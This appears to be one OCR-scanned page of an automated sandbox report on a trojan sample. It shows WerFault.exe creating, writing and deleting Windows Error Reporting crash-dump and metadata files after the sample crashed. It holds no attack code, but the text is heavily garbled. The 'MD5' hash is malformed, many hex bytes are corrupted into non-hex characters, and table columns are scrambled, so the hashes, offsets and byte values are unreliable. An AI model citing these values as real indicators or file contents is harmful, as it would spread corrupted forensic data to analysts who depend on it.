C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 952

0xe40000

434592 bytes
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MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 701C1717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp.dmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp.WERInt read attributes | device synchronous io  success or wait 1 701B497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp.xml| read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 701B497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6ed directory | synchronous io
4f40_196b581e synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 701B497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d synchronize | non alert | non
4f40_196b581e\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp.dmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp.xml success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER5316.tmp.csv success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER576C.tmp.txt success or wait 1 701B497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ ....... [C5........ success or wait 1 701B497A unknown
ws\WER\Temp\WER4590.tmp.dmp a0 0f 00 00 00 20 00
00 00 00 00 00 00 5b
43 35 60 a4 05 12 00
00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 701B497A unknown

ws\WER\Temp\WER4590.tmp.dmp
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 38 20 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

65 6¢ 57 06 0500 fffh .

8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
72 00 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 00 61 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aa aaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 62 6f 72 74 1c
fb 10 03 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
10 03 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb 10 03 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aaaaaa

..... U.ooooou. B8 e
..GenuinelntelW.

........... 0.2,
P.a.
.T.i.m.e..

.D.a.y.li.g.ht. .T.
im.e......

@.bort....

fic..S.ta.ndard.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

f4 12 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
66 26 00 00

39 00 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 f2 45 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

..o.Data.#..K.Nam.

e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..

N.a.m.e......P.a.ck.e.tS.i.

ze....A.9...o0.Data.

J.KiName...Ad.d.

res.s.....A.3...o.D.at

K..N.a.m.e....... P.

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

57

56

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 00
00 00 00 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aa aaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aaaaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

09 00 00 00

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 58 03 00 00 00
00 00 00 b8 51 be 00
00 00 00 00 00 00 00
00 00 00 00 00 a4 do
1900 2c 95 e5 77 23
00 00 00 02 02 00 00
34 d0 19 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

f4 12 00 00 00 00 00
00 20 00 00 00 00 00
00 00 00 20 2d 00 00
00 00 00 2c ed 10 03
00 00 00 00 d4 12 00
00 82 4b 00 00 cc 02
00 00 92 3f 00 00

31 00 00 00

Source

Ascii Completion Count Address Symbol
W W X..$..... success or wait 1 701B497A unknown
.@.Ww@..w.

success or wait 9 701B497A unknown
e success or wait 9 701B497A unknown
success or wait 1 701B497A unknown
1. success or wait 49 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 ad 6f 00 00 00
00 00 80 00 00 34 b3
00 00 e7 fa 35 82 ee
2500 00 bd 04 ef fe
00 00 01 00 00 00 Oa
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 25
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 40 41 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
0300 d1 2a 2c e3 48
26 00 00 01 00 0Of 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 0f 00 00 00 00
00 00 00 04 00 00 00
00 f0 7a 02 00 00 00
00 00 b0 c8 02 00 00
00 00 23 53 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 2a
83 03 00 00 00 00 00
3583 03 00 00 00 00
00 00 00 00 00 00 00
00 00 97 2a 1b 00 00
00 00 00 a9 d4 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 76 0f 05
00 00 00 00 00 a4 7e
b2 8e 00 00 00 00 3e
bb 52 19 00 00 00 00
37 e5 c2 0d 00 00 00
00 20 51 2a 01 00 00
00 00 f9 ac 00 00 c4
2101 00 03 cd 05 00
bf bf 0a 00 a9 d4 04
00 fb 7e 15 00 76 Of
05 00 1f e2 27 00 cb
50 01 00 b5 b1 14 00
00000000d51913
00 f6 8d 04

Source

Ascii Completion Count Address Symbol

d..S.e.curite.l.nfo.. success or wait 49 701B497A unknown
c.o.m...T.r.oj.an..G.e.n.e.

ri.c.K.D.Z..7.3.1.2.4...1.9.

1.7.0..ex.e...

success or wait 2 701B497A unknown
6...0.n.D.e.m.a.n.d.C.0.n.n success or wait 2 701B497A unknown
.R.o.ute.H.elp.e.r..d.ll.

success or wait 1 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4590.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 14996

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 b4 01 00
00 08 07 00 00 04 00
00 00 b0 14 00 00 c8
08 00 00 Oe 00 00 00
3c 0000 00 78 1d 00
00 05 00 00 00 94 03
00 00 5e 42 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
Oc 00 00 00 80 26 00
00 3e 49 01 00 15 00
00 00 ec 01 00 00 b4
1d 00 00 16 00 00 00
98 00 00 00 a0 1f 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

22003100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 701B497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.i.t.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te... LR T.i.m.e.r..(..W.
a.i.t.C.o.m.p.l
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
<.?.x.m.l. .v.ers.i.o.n.=". success or wait 1 701B497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 701B497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 701B497A unknown
data>.
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.io.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
<.W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.in.d.ow.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

701B497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

4

2

64

46

3c 00 42 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
72002000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34..1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.is.ion>1l</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r.>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e.</F.
l.a.v.o.r>.

<Ar.c.hite.c.ture>X.
6.4.</Ar.c.h.ite.c.tu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.S.V.errs..o.n.l.n.fo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown

Page 204 of 245



File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 44
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml
